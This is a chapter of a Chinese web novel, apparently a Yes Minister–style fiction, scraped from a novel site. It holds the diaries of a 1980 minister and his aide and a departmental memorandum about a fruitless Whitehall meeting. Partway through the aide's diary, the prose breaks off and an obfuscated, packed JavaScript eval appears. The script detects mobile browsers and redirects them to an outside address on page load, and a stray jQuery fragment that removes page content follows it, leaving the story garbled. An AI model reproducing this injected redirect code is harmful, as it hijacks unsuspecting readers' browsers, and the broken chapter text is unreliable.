默认冷灰
24号文字
方正启体

12. 查尔斯的日记+西里尔的日记备忘录(1980.1.23-

作者:用其他笔名本书字数:K更新时间:
    【幕间】S01E01.5 信息币的回响(Echoes of Information Currency)——三人组的日记及备忘录(1980.1.23-24)


    查尔斯·海德的日记


    1980年1月23日,星期三。


    今天下午,我主持了一场动物园管理员会议。


    更确切地说,是一场“跨部门信息共享例会”。与会的动物们——来自白厅各个角落的官僚代表——则表现出了各自物种的鲜明特征:工业部的老树懒,慢条斯理地背诵着文件归档的圣经;卫生部的章鱼女士,用无数条名为“隐私”和“地方权限”的触手,将任何实质性问题都搅成一团墨汁;国防部的猎鹰,高傲地盘踞在“国家安全”的枝头,偶尔丢下一根无关紧要的羽毛,也就是那个所谓的“南大西洋巡逻舰队的例行维护……轻微延误”。


    我像个误闯瓷器店的生物,但不是公牛,因为我甚至无力横冲直撞。我试图推动、质询、启发,结果只是看着一屋子精美的瓷器对我礼貌地鞠躬,然后继续纹丝不动地待在它们的原位上。


    会议结束后,我几乎要把那张维多利亚风格的会议桌给掀了。而我的常任秘书——代理(acting)——他格外强调的。我们亲爱的“胜利者”阿利斯泰·卡文迪许勋爵,却将这场彻头彻尾的灾难,改名为一次“成功的战略侦察”。


    他声称,我们精确标定了影响力阈值,绘制了权力关系地图,搜集了各部门的敏感点和底线。他说,在白厅,信息是货币,而我们刚刚完成了对各家金库防御工事的初步勘测。


    糟糕的是,他说得并非全无道理。


    这正是最令人恼火之处。


    “胜利者”重新定义失败。我主持、我碰壁,这些都是真相。他却把这局面称作“勘测”,而且证据充分到我无法完全反驳。


    我像个理想主义的傻瓜。


    哈,一个真正的查理(proper Charlie)。


    我挥舞着“效率”和“协同”的旗帜冲锋陷阵,他在后方从我扬起的尘土里,分析敌阵、风向与土壤成分。他把我的挫败,当作实验样本。


    行吧,信息币。


    信息(Information) = 货币(Currency)


    或许我该学会如何获得它,如何流通它。只希望它别全是硬币里的假铸。


    晚上,西里尔来帮我起草那份给首相的报告。可怜的年轻人,他尽力在我那些充满火药味的讽刺——建议报告标题为《关于白厅各部门如何优雅地无所事事的建设性探讨》——和阿利斯泰那份冰冷的、充满官腔的大纲之间,找到一条体面的中间道路。


    “大臣,或许我们可以说,会议‘为未来深化合作奠定了坚实的基础’?”他试探着建议,蓝眼睛里还有些认真。


    “西里尔。”我告诉他,“我们奠定的基础,是建立在一片流沙之上的。唯一坚实的东西,是他们拒绝合作的决心。”


    但最终,我还是签了字。报告完美无瑕,词句全是“增进理解”、“梳理流程”、“奠定基础”之类的漂亮话。一份完美的、毫无意义的文件。或者说,它的意义恰恰在于它的毫无意义。这是白厅的镜厅,每个人都在映照着别人的姿态,却没人看清自己的脸。


    我泡在浴缸里,反复琢磨着国防部中校那句轻描淡写的话:“南大西洋……轻微延误。”在整场充斥着噪音的会议里,这或许是唯一一句真正的信号。一个信号,被包裹在无数层“规程”和“例行”的棉花里,然后被不经意地丢在桌上。为什么是那个场合?为什么用那种方式?


    “胜利者”说,这是水面下的冰山。或许吧。


    这个协同协调部,这只镀金的笼子——或者他搭建的舞台——恐怕不是让我来改造丛林的,他在试图教会我如何在这片丛林里,分辨出哪些是真正的野兽嗥叫,哪些……只是风声。


    糟透了。明天还得继续。


    ——


    ——


    ——


    西里尔的日记


    1980年1月23日,星期三 | 伦敦,皮姆利科 | 晴转小雨


    IDISLM结束的沉默,比我预想的更厚重。


    Sir离开后,只剩下我和大臣。他看上去像在咀嚼一段艰涩的词句。


    我给他泡了茶,他苦笑说Sir“把惨败说成战略侦察”。我无法反驳他,但也不能完全赞同,只好把我的笔记摊给他——那些代表们的职位、反应、可能的关联。Sir的分析确实点破了会议表象下的残酷逻辑。大臣想要“花园”的蓝图,而白厅是“丛林(the Greenwood)”。在丛林里,先看懂陷阱和兽径。这个领悟,滋味复杂。


    大臣盯着那份“漂亮废话”的大纲,又看向我的笔记——我在MoD旁画的星号,似乎成了他当晚唯一愿意承认的“收获”。


    报告最终按Sir的大纲框架写了,充满“建设性”“支持性”的语调。写的时候感觉有些空洞,但这或许就是DSC起步阶段必须的“表面价值”?我替它润进了些细节,让它看上去不至于完全像是空壳。


    Sir需要维系机器的润滑,大臣需要向10号证明存在和努力,而我,需要学习在两者之间找到平衡。


    回到秘书处,我誊清了会议记录,尽可能让每个“推迟”、“再研究”、“不在职权范围内”的官腔句,听起来都像合情合理的专业建议。


    加班到深夜。把桌灯关掉前,我单独抄了个便签,只写两个词:


    “南大西洋(South Atlantic)”


    贴在台灯脚下,希望明天的光落在它身上,别让它淹没在噪音里。


    1980年1月24日,星期四 | 伦敦,白厅 | 早,雾仍未散


    今天到得更早,锅炉房的热气还没爬满三楼。我泡了壶阿萨姆,浓一些。Sir八点整到办公室,和往常一样准时。他翻看我放在“IN”篮的概览简报,点了点“联络官机制”的条目:“措辞无害,作用可观。”他说。


    我明白“可观”的意思并不是“立竿见影”,它更像“把地图画细一点,然后再慢慢往前走”的意思。


    十点多,大臣才到办公室,比往常面色更冷。没提昨天下午的会议,只问白板的彩色马克笔到了没。我说到了。他点头。


    航程还在迷雾里,但船还在行进。也许,这就是今天的全部乐观


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294772|182690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    ——


    ——


    ——


    备忘录(MEMORANDUM)


    协同协调部 - Department of Synergy Coordination


    编号(Ref):DSC/PO/MIN/IDISLM/INT/001/80


    收件人(To):The Secretary of State(The Rt Hon Charles Hyde MP)


    抄送(Cc):The Acting Permanent Secretary(Mr A. Cavendish)


    发件人(From):C. Astley, PPS


    日期(Date):24 January 1980


    主题(Subject):IDISLM会后要点与后续动作


    Minister,


    谨就昨日IDISLM会议的后续事宜,呈报以下经提炼的行动要点与低风险跟进事项:


    1、联络官机制(无约束性,低摩擦):


    提请各部门指定一名专职联络官(Dedicated Liaison Officer,DLO)。


    我方将维护集中名录,并配套标准问询模板(单页、以勾选项为主,叙述最小化)。


    行动:私人秘书处于今日下班前以一段式函件征请名单。


    2、《白厅信息流动概况简报》(月度,内部流转,仅含已公开/授权摘要):


    内容仅限于已公开或经明确授权共享的信息。


    目的:提高可见度;软性梳理“信息归属”版图。


    行动:于下周一前呈上初版纲要(No.0)供您审阅。


    3、南大西洋备注(于IDISLM会议中标注):


    国防部代表提及巡逻轮换中的“轻微延误”,可能仅为资源排期问题,建议仅被动监测。


    现阶段不建议采取任何行动,已录入“观察清单”。


    行动:私人秘书处将就此事,私下记录媒体与议会议事录(Hansard)中的相关提及。


    4、舆论形象管理(Optics):


    向10号/内阁秘书处的报告建议用语:“建设□□流”、“厘清了流程现状”、“明确了务实的后续步骤(联络官机制、月度简报)”。


    行动:相关报告草稿将于明日呈您签发。


    并请指示:是否意向于在三月承办首次季度非正式茶叙(Quarterly Informal Tea),目前仅作日期预留。


    C. Astley, PPS


    阿利斯泰手写批注:


    概况简报No. 0于周一09:00前呈送;仅限“公开/授权”摘要,避免“平台/标准化”等措辞。


    对南大西洋仅观察不参与,收集主流报章关于海军部署以及维护周期提及,英国议会辩论记录内关键词每周检索一次。


    10号稿:基调“建设性/服务性/支持性”;回避“协调/控制/标准化”等敏感措辞。


    A.C. 24.01.80
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)